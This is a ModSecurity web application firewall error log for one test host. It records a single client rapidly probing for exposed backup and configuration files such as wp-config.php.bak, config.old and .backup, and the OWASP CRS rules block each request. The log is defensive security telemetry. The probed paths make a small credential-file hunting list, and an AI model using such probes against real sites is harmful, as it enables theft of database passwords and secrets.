[Sun Mar 01 20:25:43.356373 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfdwAAAAQ&quot;]
[Sun Mar 01 20:25:43.356868 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfdwAAAAQ&quot;]
[Sun Mar 01 20:25:43.357024 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfdwAAAAQ&quot;]
[Sun Mar 01 20:25:43.560977 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfgAAAAAQ&quot;]
[Sun Mar 01 20:25:43.561443 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfgAAAAAQ&quot;]
[Sun Mar 01 20:25:43.561583 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfgAAAAAQ&quot;]
[Sun Mar 01 20:25:43.583500 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfgQAAAAQ&quot;]
[Sun Mar 01 20:25:43.583980 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfgQAAAAQ&quot;]
[Sun Mar 01 20:25:43.584160 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfgQAAAAQ&quot;]
[Sun Mar 01 20:25:43.605977 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfggAAAAQ&quot;]
[Sun Mar 01 20:25:43.606539 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfggAAAAQ&quot;]
[Sun Mar 01 20:25:43.606698 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfggAAAAQ&quot;]
[Sun Mar 01 20:25:43.628724 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfgwAAAAQ&quot;]
[Sun Mar 01 20:25:43.629050 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfgwAAAAQ&quot;]
[Sun Mar 01 20:25:43.629328 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfgwAAAAQ&quot;]
[Sun Mar 01 20:25:43.629498 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfgwAAAAQ&quot;]
[Sun Mar 01 20:25:43.651700 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhAAAAAQ&quot;]
[Sun Mar 01 20:25:43.652002 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhAAAAAQ&quot;]
[Sun Mar 01 20:25:43.652270 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhAAAAAQ&quot;]
[Sun Mar 01 20:25:43.652443 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhAAAAAQ&quot;]
[Sun Mar 01 20:25:43.674789 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhQAAAAQ&quot;]
[Sun Mar 01 20:25:43.675041 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhQAAAAQ&quot;]
[Sun Mar 01 20:25:43.675222 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhQAAAAQ&quot;]
[Sun Mar 01 20:25:43.697398 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhgAAAAQ&quot;]
[Sun Mar 01 20:25:43.697664 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhgAAAAQ&quot;]
[Sun Mar 01 20:25:43.697818 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhgAAAAQ&quot;]
[Sun Mar 01 20:25:43.719665 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhwAAAAQ&quot;]
[Sun Mar 01 20:25:43.720180 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhwAAAAQ&quot;]
[Sun Mar 01 20:25:43.720348 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfhwAAAAQ&quot;]
